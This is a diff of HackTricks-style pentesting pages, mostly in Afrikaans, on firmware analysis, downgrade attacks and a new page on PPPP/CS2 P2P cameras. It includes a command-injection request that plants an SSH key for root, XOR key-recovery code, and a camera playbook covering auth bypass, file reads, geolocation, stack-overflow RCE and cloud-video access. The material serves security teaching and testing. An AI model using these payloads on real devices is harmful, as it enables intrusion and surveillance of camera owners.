 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 ```
-Daarna, afhangende van die lêerstelseltipe (bv. squashfs, cpio, jffs2, ubifs), word verskillende opdragte gebruik om die inhoud handmatig te onttrek.
+Daarna, afhangend van die lêerstelsel-tipe (bv. squashfs, cpio, jffs2, ubifs), word verskillende opdragte gebruik om die inhoud handmatig te onttrek.
 
-### Lêerstelselanalise
+### Lêerstelsel-analise
 
-Met die lêerstelsel onttrek, begin die soektog na sekuriteitsfoute. Aandag word gegee aan onveilige netwerk daemons, hardgecodeerde akrediteer, API eindpunte, opdatering bediener funksies, nie-gecompileerde kode, opstart skripte, en gecompileerde binêre vir offline analise.
+Sodra die lêerstelsel onttrek is, begin die soektog na sekuriteitsfoute. Aandag word gegee aan insecure network daemons, hardcoded credentials, API endpoints, update server functionalities, uncompiled code, startup scripts, en gecompileerde binaries vir offline-analise.
 
-**Belangrike plekke** en **items** om te inspekteer sluit in:
+**Belangrike lokasies** en **items** om te ondersoek sluit in:
 
-- **etc/shadow** en **etc/passwd** vir gebruikers akrediteer
+- **etc/shadow** en **etc/passwd** vir gebruikersaanmeldingsinligting
-- SSL sertifikate en sleutels in **etc/ssl**
+- SSL certificates en keys in **etc/ssl**
-- Konfigurasie en skrip lêers vir potensiële kwesbaarhede
+- Konfigurasie- en script-lêers vir potensiële kwesbaarhede
-- Ingebedde binêre vir verdere analise
+- Ingebedde binaries vir verdere ontleding
-- Algemene IoT toestel webbedieners en binêre
+- Algemene IoT device web servers en binaries
 
 Verskeie gereedskap help om sensitiewe inligting en kwesbaarhede binne die lêerstelsel te ontdek:
 
-- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) en [**Firmwalker**](https://github.com/craigz28/firmwalker) vir sensitiewe inligting soektog
+- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) en [**Firmwalker**](https://github.com/craigz28/firmwalker) vir soektog na sensitiewe inligting
-- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) vir omvattende firmware analise
+- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) vir omvattende firmware-analise
-- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), en [**EMBA**](https://github.com/e-m-b-a/emba) vir statiese en dinamiese analise
+- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), and [**EMBA**](https://github.com/e-m-b-a/emba) for static and dynamic analysis
 
-### Sekuriteitskontroles op Gecompileerde Binêre
+### Sekuriteitskontroles op gecompileerde binaries
 
-Sowel die bronkode as gecompileerde binêre wat in die lêerstelsel gevind word, moet ondersoek word vir kwesbaarhede. Gereedskap soos **checksec.sh** vir Unix binêre en **PESecurity** vir Windows binêre help om onbeskermde binêre te identifiseer wat uitgebuit kan word.
+Beide source code en gecompileerde binaries wat in die lêerstelsel gevind word, moet deeglik ondersoek word vir kwesbaarhede. Gereedskap soos **checksec.sh** vir Unix binaries en **PESecurity** vir Windows binaries help om onbeveiligde binaries te identifiseer wat uitgebuit kan word.
 
-## Emulering van Firmware vir Dynamiese Analise
+## Emulering van firmware vir Dynamic Analysis
 
-Die proses van emulering van firmware stel **dynamiese analise** in staat, hetsy van 'n toestel se werking of 'n individuele program. Hierdie benadering kan uitdagings ondervind met hardeware of argitektuur afhanklikhede, maar die oordrag van die wortel lêerstelsel of spesifieke binêre na 'n toestel met ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetsing fasiliteer.
+Die proses om firmware te emuleer maak dit moontlik om **dynamic analysis** te doen op ofwel 'n toestel se werking of 'n individuele program. Hierdie benadering kan probleme ondervind weens hardware- of argitektuur-afhanklikhede, maar die oordrag van die root filesystem of spesifieke binaries na 'n toestel met ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n pre-built virtual machine, kan verdere toetsing vergemaklik.
 
-### Emulering van Individuele Binêre
+### Emulering van individuele binaries
 
-Vir die ondersoek van enkele programme, is dit noodsaaklik om die program se endianness en CPU argitektuur te identifiseer.
+Om enkelprogramme te ondersoek, is dit noodsaaklik om die program se endianness en CPU-argitektuur te identifiseer.
 
-#### Voorbeeld met MIPS Argitektuur
+#### Voorbeeld met MIPS-argitektuur
 
-Om 'n MIPS argitektuur binêre te emuleer, kan 'n mens die opdrag gebruik:
+Om 'n MIPS-argitektuur-binêre te emuleer, kan mens die opdrag gebruik:
 ```bash
 file ./squashfs-root/bin/busybox
 ```
@@ -187,83 +192,83 @@ En om die nodige emulasie-instrumente te installeer:
 ```bash
 sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
 ```
-Vir MIPS (big-endian) word `qemu-mips` gebruik, en vir little-endian binaries, sou `qemu-mipsel` die keuse wees.
+For MIPS (big-endian), `qemu-mips` is used, and for little-endian binaries, `qemu-mipsel` would be the choice.
 
 #### ARM Argitektuur Emulasie
 
-Vir ARM binaries is die proses soortgelyk, met die `qemu-arm` emulator wat gebruik word vir emulasie.
+Vir ARM binaries is die proses soortgelyk, en die `qemu-arm` emulator word vir emulasie gebruik.
 
-### Volle Stelsel Emulasie
+### Volledige Stelsel Emulasie
 
-Gereedskap soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander, fasiliteer volle firmware emulasie, outomatiseer die proses en help met dinamiese analise.
+Gereedskap soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander fasiliteer volledige firmware-emulasie, outomatiseer die proses en help met dinamiese analise.
 
-## Dinamiese Analise in Praktyk
+## Dinamiese Analise in die Praktyk
 
-Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om shell-toegang tot die OS en lêerstelsel te handhaaf. Emulasie mag nie perfek hardeware-interaksies naboots nie, wat af en toe emulasie-herlaai vereis. Analise moet die lêerstelsel herbesoek, blootgestelde webbladsye en netwerkdienste benut, en opstartlaaier kwesbaarhede verken. Firmware integriteitstoetse is krities om potensiële agterdeur kwesbaarhede te identifiseer.
+By hierdie stadium word óf 'n werklike óf 'n geëmuleerde toestelomgewing gebruik vir analise. Dit is noodsaaklik om shell-toegang tot die OS en filesystem te behou. Emulasie mag nie perfek hardeware-interaksies naboots nie, wat af en toe herstart van die emulasie vereis. Analise moet die filesystem weer besoek, blootgestelde webpages en netwerkdienste uitbuit, en bootloader-kwesbaarhede ondersoek. Firmware-integriteitstoetse is kritiek om potensiële backdoor-kwesbaarhede te identifiseer.
 
-## Tydren Analise Tegnieke
+## Runtime Analise Tegnieke
 
-Tydren analise behels interaksie met 'n proses of binary in sy bedryfsomgewing, met behulp van gereedskap soos gdb-multiarch, Frida, en Ghidra om breekpunte in te stel en kwesbaarhede deur fuzzing en ander tegnieke te identifiseer.
+Runtime-analise behels interaksie met 'n proses of binary in sy bedryfsomgewing, met gebruik van gereedskap soos gdb-multiarch, Frida en Ghidra om breakpoints te stel en kwesbaarhede te identifiseer deur middel van fuzzing en ander tegnieke.
 
-## Binary Exploitatie en Bewys-van-Konsep
+## Binary-uitbuiting en Proof-of-Concept
 
-Die ontwikkeling van 'n PoC vir geïdentifiseerde kwesbaarhede vereis 'n diep begrip van die teikenargitektuur en programmering in laervlak tale. Binary tydren beskermings in ingebedde stelsels is skaars, maar wanneer dit teenwoordig is, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
+Die ontwikkeling van 'n PoC vir geïdentifiseerde kwesbaarhede vereis 'n diep begrip van die teiken-argitektuur en programmering in laevlakprogrammeertale. Binary runtime-beskerming in ingebedde stelsels is skaars, maar wanneer dit teenwoordig is, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
 
-## Voorbereide Bedryfstelsels vir Firmware Analise
+## Voorbereide Bedryfstelsels vir Firmware-analise
 
-Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS](https://github.com/scriptingxss/EmbedOS) bied vooraf-gekonfigureerde omgewings vir firmware sekuriteitstoetsing, toegerus met nodige gereedskap.
+Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS](https://github.com/scriptingxss/EmbedOS) bied vooraf-gekonfigureerde omgewings vir firmware-sekuriteitstoetsing, toegerus met die nodige gereedskap.
 
-## Voorbereide OS's om Firmware te analiseer
+## Voorbereide OS'e vir Firmware-analise
 
-- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro wat bedoel is om jou te help om sekuriteitsassessering en penetrasietoetsing van Internet of Things (IoT) toestelle uit te voer. Dit spaar jou baie tyd deur 'n vooraf-gekonfigureerde omgewing met al die nodige gereedskap te bied.
+- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro bedoel om jou te help om sekuriteitsassessering en penetration testing van Internet of Things (IoT) devices uit te voer. Dit bespaar baie tyd deur 'n vooraf-gekonfigureerde omgewing met al die nodige tools te verskaf.
-- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingebedde sekuriteitstoetsing bedryfstelsel gebaseer op Ubuntu 18.04 wat vooraf gelaai is met firmware sekuriteitstoetsing gereedskap.
+- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingebedde sekuriteitstoetsing-bedryfstelsel gebaseer op Ubuntu 18.04, voorafgelaai met firmware-sekuriteitstoetsing-instrumente.
 
-## Firmware Downgrade Aanvalle & Onveilige Opdatering Meganismes
+## Firmware Terugrol-aanvalle & Onveilige Opdateringsmeganismes
 
-Selfs wanneer 'n verskaffer kriptografiese handtekening kontroles vir firmware beelde implementeer, **word weergawe terugrol (downgrade) beskerming dikwels weggelaat**. Wanneer die opstart- of herstel-laaier slegs die handtekening met 'n ingebedde publieke sleutel verifieer, maar nie die *weergawe* (of 'n monotone teller) van die beeld wat geflits word, vergelyk nie, kan 'n aanvaller wettiglik 'n **ouer, kwesbare firmware wat steeds 'n geldige handtekening het** installeer en dus gepatchte kwesbaarhede weer inbring.
+Selfs wanneer 'n verskaffer kriptografiese handtekeningkontroles vir firmware images implementeer, word **version rollback (downgrade) protection is frequently omitted** gereeld weggelaat. Wanneer die boot- of recovery-loader slegs die handtekening verifieer met 'n embedded public key maar nie die *version* (of 'n monotonic counter) van die image wat ge-flash word vergelyk nie, kan 'n aanvaller wettiglik 'n **ouer, kwesbare firmware wat steeds 'n geldige handtekening dra** installeer en sodoende gepatchte kwesbaarhede herintroduceer.
 
-Tipiese aanval werkvloei:
+Tipiese aanval-werkstroom:
 
-1. **Verkry 'n ouer onderteken beeld**
+1. **Obtain an older signed image**
-* Grijp dit van die verskaffer se publieke aflaaiportaal, CDN of ondersteuningsite.
+   * Haal dit vanaf die verskaffer se publieke aflaaipoortaal, CDN of ondersteuningwerf.
-* Trek dit uit metgesel mobiele/desktop toepassings (bv. binne 'n Android APK onder `assets/firmware/`).
+   * Ekstraheer dit uit geassosieerde mobile/desktop toepassings (bv. binne 'n Android APK onder `assets/firmware/`).
-* Verkry dit van derdeparty repositories soos VirusTotal, internet argiewe, forums, ens.
+   * Verkry dit van derdeparty-bewaarplekke soos VirusTotal, internetargiewe, forums, ens.
-2. **Laai of dien die beeld aan die toestel** via enige blootgestelde opdateringskanaal:
+2. **Upload or serve the image to the device** via any exposed update channel:
-* Web UI, mobiele-app API, USB, TFTP, MQTT, ens.
+   * Web UI, mobile-app API, USB, TFTP, MQTT, etc.
-* Baie verbruikers IoT toestelle stel *onaangetekende* HTTP(S) eindpunte bloot wat Base64-gecodeerde firmware blobs aanvaar, dekodeer dit bediener-kant en aktiveer herstel/opgradering.
+   * Baie verbruiker-IoT-toestelle openbaar *unauthenticated* HTTP(S) endpoints wat Base64-encoded firmware blobs aanvaar, dit aan die bedienerkant decodeer en recovery/upgrade aktiveer.
-3. Na die downgrade, benut 'n kwesbaarheid wat in die nuwer weergawe gepatch is (byvoorbeeld 'n opdrag-inspuitfilter wat later bygevoeg is).
+3. Na die downgrade, exploit 'n kwesbaarheid wat in die nuwer vrystelling gepatch is (byvoorbeeld 'n command-injection filter wat later bygevoeg is).
-4. Opsioneel flits die nuutste beeld terug of deaktiveer opdaterings om opsporing te vermy sodra volharding verkry is.
+4. Opsioneel flash die nuutste image terug of deaktiveer opdaterings om ontdekking te vermy sodra persistensie bereik is.
 
-### Voorbeeld: Opdrag Inspuiting Na Downgrade
+### Voorbeeld: Command Injection Na Downgrade
 ```http
 POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
 Host: 192.168.0.1
 Content-Type: application/octet-stream
 Content-Length: 0
 ```
-In die kwesbare (afgegradeerde) firmware, word die `md5` parameter direk in 'n skalkommando gekonkateneer sonder sanitisering, wat die inspuiting van arbitrêre opdragte moontlik maak (hier – om SSH-sleutel-gebaseerde worteltoegang te aktiveer). Later firmware weergawes het 'n basiese karakterfilter bekendgestel, maar die afwesigheid van afgraderingsbeskerming maak die regstelling nutteloos.
+In die kwesbare (downgraded) firmware word die `md5` parameter direk in 'n shell-opdrag gekoppel sonder sanitisering, wat inspuiting van arbitrêre opdragte moontlik maak (hier – enabling SSH key-based root access). Later firmware-weergawe het 'n basiese karakterfilter ingestel, maar die afwesigheid van downgrade protection maak die regstelling sinloos.
 
-### Uittreksel van Firmware Uit Mobiele Toepassings
+### Firmware uittrek uit mobiele apps
 
-Baie verskaffers bundel volle firmware-beelde binne hul metgesel mobiele toepassings sodat die app die toestel oor Bluetooth/Wi-Fi kan opdateer. Hierdie pakkette word algemeen ongeënkripteerd in die APK/APEX onder paaie soos `assets/fw/` of `res/raw/` gestoor. Gereedskap soos `apktool`, `ghidra`, of selfs gewone `unzip` laat jou toe om ondertekende beelde te trek sonder om die fisiese hardeware aan te raak.
+Baie verskaffers pak volledige firmware-beeldlêers in hul begeleidende mobiele toepassings sodat die app die toestel oor Bluetooth/Wi‑Fi kan opdateer. Hierdie pakkette word gewoonlik onversleuteld gestoor in die APK/APEX onder paaie soos `assets/fw/` of `res/raw/`. Hulpmiddels soos `apktool`, `ghidra` of selfs net `unzip` laat jou toe om getekende beelde te onttrek sonder om die fisiese hardeware aan te raak.
 ```
 $ apktool d vendor-app.apk -o vendor-app
 $ ls vendor-app/assets/firmware
 firmware_v1.3.11.490_signed.bin
 ```
-### Kontrolelys vir die Assessering van Opdateringslogika
+### Kontrolelys vir die beoordeling van update-logika
 
-* Is die vervoer/identifikasie van die *opdaterings-eindpunt* voldoende beskerm (TLS + identifikasie)?
+* Is die transport/authentication van die *update endpoint* behoorlik beskerm (TLS + authentication)?
-* Vergelyk die toestel **weergawe nommers** of 'n **monotoniese anti-rollback teenaar** voordat dit geflits word?
+* Vergelyk die toestel **version numbers** of 'n **monotonic anti-rollback counter** voordat dit ge-flash word?
-* Word die beeld binne 'n veilige opstartketting geverifieer (bv. handtekeninge nagegaan deur ROM-kode)?
+* Word die image geverifieer binne 'n secure boot chain (bv. signatures deur ROM code nagegaan)?
-* Voer gebruikerslandkode addisionele gesondheidskontroles uit (bv. toegelate partisiekaart, modelnommer)?
+* Voer userland code addisionele sanity checks uit (bv. allowed partition map, model number)?
-* Hergebruik *gedeeltelike* of *rugsteun* opdateringsvloei dieselfde valideringslogika?
+* Gebruik *partial* of *backup* update-strome dieselfde validation logic?
 
-> 💡  As enige van die bogenoemde ontbreek, is die platform waarskynlik kwesbaar vir rollback-aanvalle.
+> 💡  As enige van die bogenoemde ontbreek, is die platform waarskynlik kwesbaar vir rollback attacks.
 
-## Kwetsbare firmware om te oefen
+## Kwetsbare firmware om op te oefen
 
-Om te oefen om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmware projekte as 'n beginpunt.
+Om te oefen met die ontdekking van kwesbaarhede in firmware, gebruik die volgende kwetsbare firmware-projekte as 'n beginpunt.
 
 - OWASP IoTGoat
 - [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
@@ -284,7 +289,7 @@ Om te oefen om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare
 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
 - [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
 
-## Opleiding en Sertifikaat
+## Opleiding en Sertifisering
 
 - [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
 

src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md

@@ -0,0 +1,165 @@
+# 32100/UDP - Pentesting PPPP (CS2) P2P Cameras
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Oorsig
+
+PPPP (a.k.a. “P2P”) is ’n proprietary device connectivity stack deur CS2 Network wat wyd ingebed is in lae-koste IP-kameras en ander IoT-toestelle. Dit verskaf rendezvous, NAT traversal (UDP hole punching), ’n application-layer “reliable” stream bo-op UDP, en ’n ID-gebaseerde adresseringstelsel wat ’n mobile/desktop app toelaat om toestelle oral op die Internet te bereik deur slegs ’n apparaat-ID te ken.
+
+Belangrike eienskappe relevant vir aanvalers:
+- Toestelle registreer by drie deur verskaffer bediende rendezvous-bedieners per ID-voorvoegsel. Clients vra dieselfde bedieners om die toestel se ekstern/relay-adres te vind en probeer dan UDP hole punching. Relay-fallback bestaan.
+- Die standaard bediener-luisteraar is bereikbaar oor UDP/32100. ’n Minimale “hello” probe is genoeg om bedieners en sommige toestelle te fingerprint.
+- Opsionele blanket cipher en ’n spesiale “CRCEnc” modus bestaan, maar is swak by ontwerp en word tipies gedeaktiveer in gewilde ekosisteme (bv. LookCam).
+- Die control plane is gewoonlik JSON-opdragte oor die PPPP-stream en ly dikwels aan ontbrekende auth en geheue-veiligheidsfoute.
+
+Tipiese apparaat-ID-formaat (LookCam family): PREFIX-######-CCCCC, verkort in apps (bv. GHBB-000001-NRLXW → G000001NRLXW). Waargenome voorvoegsels: BHCC ("hekai"), FHBB en GHBB ("mykj").
+
+## Ontdekking en enumerasie
+
+- Internet exposure: baie PPPP super-nodes beantwoord ’n 32100/UDP-probe. Bekende plaintext- en foutstring-antwoorde maak dit maklik om hulle te identifiseer in traffic captures en met Internet scanners.
+- LAN discovery: toestelle antwoord dikwels op ’n onversleutelde soektog op die plaaslike uitsending. Gebruik Paul Marrapese se script om te enumerate:
+- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
+
+Nota:
+- Apps embed “init strings” wat obfuskede server IP-lyste en protokol-sleutels bevat. Hierdie strings is triviaal uittreikbaar uit Android/iOS/Windows clients en word dikwels oor baie produklyne hergebruik.
+
+## NAT Traversal and Transport
+
+- Rendezvous servers leer die toestel se publieke mapping deur periodieke keepalives vanaf die toestel. Clients vra die bedieners vir die mapping en probeer dan direkte UDP-vloei met hole punching. As NAT traversal misluk, word verkeer gerelê deur aangewese PPPP relay hosts.
+- Die toepassing-“stream” implementeer sy eie ACK/retx-logika bo-op UDP; heruitsendingslusse word gedupliseer oor baie kodepade en kan lossy links oorstroom.
+
+## Swak “Encryption” en Sleutelherwinning
+
+Twee ondoeltreffende meganismes bestaan in die CS2-stapel:
+
+1) Blanket cipher (optional) – P2P_Proprietary_Encrypt
+- Gewoonlik gedeaktiveer deur OEMs wat LookCam gebruik.
+- App-side “init string” verskaf die sleutelmateriaal wat verminder word tot ’n effektiewe 4-byte sleutel (~2^32 ruimte).
+- Praktiese known-plaintext: die eerste 4 bytes van MSG_HELLO na UDP/32100 is bekend as F1 00 00 00. Die waarneming van ’n enkele versleutelde handshake laat vinnige sleutelherwinning of validasie toe.
+- Sommige control messages (bv. MSG_REPORT_SESSION_READY) is altyd versleuteld met ’n library-hardcoded sleutel gedeel oor apps.
+
+2) Registration “encryption” – PPPP_CRCEnc
+- Ondanks die naam, is dit nie CRC nie. Dit is ’n vaste herhalende XOR keystream met ’n 4-byte padding check (nie geauthentiseer nie).
+- LookCam networks gebruik tipies CRCEnc slegs vir die toestel → bediener registrasie (MSG_DEV_LGN_CRC). Die meeste ander verkeer bly plaintext.
+
+Simple keystream recovery for PPPP_CRCEnc (Python):
+```python
+# ciphertext: captured bytes of an encrypted registration message
+# known: guessed/known plaintext region (e.g., JSON or constant header)
+keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
+# Decrypt more bytes by XORing with the repeating keystream
+pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
+```
+Bedreigingsmodel-onvereenstemming: CS2-materiale fokus op die voorkoming van DoS deur vals toestelregistrasies, nie op vertroulikheid nie. Dit verduidelik die selektiewe “enkripsie” van registrasie, terwyl video/beheer opsioneel of in klaarteks bly. Historiese PPPP-bedieners toon geen rate limiting nie, wat brute-force/misbruik op skaal moontlik maak.
+
+## Beheervlak: JSON Commands and Auth Bypass
+
+Baie PPPP-kamera firmwares ruil JSON-boodskappe uit sodra die sessie opgestel is. Voorbeeld “login” die kliënt stuur:
+```json
+{
+"cmd": "LoginDev",
+"pwd": "123456"
+}
+```
+Algemene kwesbaarheid in LookCam-class toestelle:
+- Firmware ignoreer beide die LoginDev flow en per-request pwd fields (CWE-287, CWE-306). Die toestel aanvaar operasionele opdragte sonder om 'n wagwoord te valideer.
+- Eksploitasie: stuur nie LoginDev nie of ignoreer die resultaat; stuur opdragte direk.
+
+Nuttige commando's waargeneem:
+- searchWiFiList – voer 'n shell-oproep na iwlist uit; laat rou uitvoer in /tmp/wifi_scan.txt.
+- DownloadFile – arbitrêre pad-lees-primitive sonder padbeperkings.
+
+Werksvloei om ligging te ontmasker via tydelike artefakte:
+1) Stuur {"cmd":"searchWiFiList"}.
+2) Lees /tmp/wifi_scan.txt via DownloadFile.
+3) Dien BSSID MACs in by 'n geolocation API (bv. Google Geolocation API) om die kamera op 'n akkuraatheid van tientalle meters te lokaliseer.
+
+## Geheue-veiligheid na RCE op Embedded Firmware
+
+Tipiese onveilige patroon (pseudokode van handlers):
+```c
+char buf[256];
+char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
+memset(buf, 0, sizeof(buf));
+memcpy(buf, cmd, strlen(cmd)); // no bound check
+```
+- Trigger: any cmd string > 255 bytes causes a stack buffer overflow (CWE-120/121).
+- Protections: no stack canary; DEP/NX and ASLR commonly disabled on these builds.
+- Impact: straightforward single-stage shellcode or classic ROP/ret2libc on the device’s CPU (e.g., ARM) for full compromise and LAN pivoting.
+
+See also:
+-
+{{#ref}}
+../binary-exploitation/stack-overflow/README.md
+{{#endref}}
+-
+{{#ref}}
+../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
+{{#endref}}
+
+## Cloud Storage Abuse (HTTP, Device-ID only)
+
+Baie LookCam-gebrande firmwares laai opnames op na api.l040z.com (apicn.l040z.com vir BHCC) slegs oor HTTP. Waarnemings:
+- Geen TLS in die firmware; die vervoer is cleartext HTTP.
+- API “authentication” is device-ID only: enigiemand wat die ID ken kan opnames aflaai.
+- 5 MiB chunking is hardcoded.
+- Remote enablement: op boot roep die toestel http://api.l040z.com/camera/signurl; die bediener se reaksie bepaal of uploads begin. Die mobiele app kan cloud “disabled” wys selfs al geskied oplaai. ’n Derde party kan cloud koop/enable vir ’n slagoffer-ID en stilletjies beeldmateriaal insamel.
+
+Dit is klassieke cleartext sensitive transmission (CWE-319) met ontbrekende server-side authZ.
+
+## Device-ID Enumeration and Guessing
+
+- ID format: PREFIX-######-CCCCC and app-shortened form (e.g., GHBB-000001-NRLXW → G000001NRLXW).
+- Prefix families: BHCC (hekai servers), FHBB and GHBB (mykj servers). Elke prefix kaarteer na drie rendezvous servers vir HA.
+- The 5-letter verifier uses an alphabet of 22 uppercase letters (A, I, O, Q excluded) → 22^5 ≈ 5.15M combos per numeric base.
+- Vorige werk het geen server-side rate-limiting waargeneem nie, wat verspreide guessing prakties maak. Die verifier-algoritme is bespoke en waarskynlik guessable of verkrygbaar deur reversing apps/firmware.
+
+Praktiese bronne van IDs:
+- Vertoon dwarsdeur die amptelike apps en dikwels leaked in gebruikers-screenshots/videos.
+- AP mode SSID is gelyk aan die device ID; baie toestelle openbaar ’n oop AP tydens onboarding.
+
+## Forcing Remote Reachability
+
+Sommige firmwares reboot in ’n lus totdat rendezvous servers bereikbaar is. As egress geblokkeer is, sal die toestel in ’n reboot-siklus bly, wat eienaars effektief dwing om dit Internet-reachable te laat en bloot te stel aan PPPP rendezvous.
+
+## Practical Exploitation Playbook (for repro/defense testing)
+
+1) Obtain device ID
+- From app UI or AP SSID; otherwise enumerate PREFIX+number and brute 22^5 verifier space.
+
+2) Establish PPPP session
+- Use a CS2 PPPP client or custom code; extract server IP lists and init keys from the app init string; attempt UDP hole punching; fall back to relay.
+
+3) Bypass auth
+- Skip LoginDev or ignore its result; send operational JSON directly.
+
+4) Exfiltrate files / geo-locate
+- Send {"cmd":"searchWiFiList"}; then DownloadFile "/tmp/wifi_scan.txt"; submit BSSIDs to a geolocation API.
+
+5) Achieve RCE
+- Send a cmd > 255 bytes to trigger the stack overflow; build ROP/ret2libc or drop shellcode (no canary/DEP/ASLR).
+
+6) Cloud access
+- Interact with api.l040z.com endpoints using only the device ID; note 5 MiB chunking; cloud enablement controlled by /camera/signurl regardless of the app UI state.
+
+## Related Protocols/Services
+
+-
+{{#ref}}
+554-8554-pentesting-rtsp.md
+{{#endref}}
+-
+{{#ref}}
+../generic-methodologies-and-resources/pentesting-wifi/README.md
+{{#endref}}
+
+## References
+
+- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
+- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
+- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
+- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
+- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
+- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
+
+{{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/554-8554-pentesting-rtsp.md

@@ -4,34 +4,34 @@
 
 ## Basiese Inligting
 
-Van [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
+Vanaf [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
 
-> Die **Real Time Streaming Protocol** (**RTSP**) is 'n netwerkbeheerprotokol wat ontwerp is vir gebruik in vermaak- en kommunikasiesisteme om streaming media bedieners te beheer. Die protokol word gebruik om media-sessies tussen eindpunte te vestig en te beheer. Kliente van media bedieners gee VHS-styl opdragte, soos speel, opneem en pauze, om werklike tydbeheer van die media wat van die bediener na 'n kliënt (Video On Demand) of van 'n kliënt na die bediener (Stemopname) stroom, te fasiliteer.
+> Die **Real Time Streaming Protocol** (**RTSP**) is 'n netwerkbeheerprotokol wat ontwerp is vir gebruik in vermaak- en kommunikasiesisteme om streaming media-bedieners te beheer. Die protokol word gebruik om mediasessies tussen eindpunte tot stand te bring en te beheer. Kliënte van media-bedieners gee VHS-styl opdragte, soos play, record and pause, om real-time beheer van die mediastroom vanaf die bediener na 'n kliënt (Video On Demand) of vanaf 'n kliënt na die bediener (Voice Recording) te vergemaklik.
 >
-> Die oordrag van streaming data self is nie 'n taak van RTSP nie. Meeste RTSP bedieners gebruik die Real-time Transport Protocol (RTP) in samewerking met Real-time Control Protocol (RTCP) vir media stroom aflewering. Sommige verskaffers implementeer egter eiendoms vervoerprotokolle. Die RTSP bediener sagteware van RealNetworks, byvoorbeeld, het ook RealNetworks se eiendoms Real Data Transport (RDT) gebruik.
+> Die oordrag van streaming-data self is nie 'n taak van RTSP nie. Die meeste RTSP-bedieners gebruik die Real-time Transport Protocol (RTP) in samewerking met die Real-time Control Protocol (RTCP) vir die aflewering van mediastrome. Sommige verskaffers implementeer egter proprietêre transportprotokolle. Die RTSP-bedienersoftware van RealNetworks, byvoorbeeld, het ook RealNetworks se proprietêre Real Data Transport (RDT) gebruik.
 
 **Standaard poorte:** 554,8554
 ```
 PORT    STATE SERVICE
 554/tcp open  rtsp
 ```
-## Sleutel Besonderhede
+## Belangrike besonderhede
 
-**RTSP** is soortgelyk aan HTTP, maar spesifiek ontwerp vir media streaming. Dit is gedefinieer in 'n eenvoudige spesifikasie wat hier gevind kan word:
+**RTSP** is soortgelyk aan HTTP maar ontwerp spesifiek vir mediastroom. Dit is gedefinieer in 'n eenvoudige spesifikasie wat hier gevind kan word:
 
 [RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
 
-Toestelle mag **onaangetekende** of **aangetekende** toegang toelaat. Om te kontroleer, word 'n "DESCRIBE" versoek gestuur. 'n Basiese voorbeeld word hieronder getoon:
+Toestelle kan **nie-geauthentiseerde** of **geauthentiseerde** toegang toelaat. Om dit te kontroleer, word 'n "DESCRIBE" request gestuur. 'n Basiese voorbeeld word hieronder getoon:
 
 `DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
 
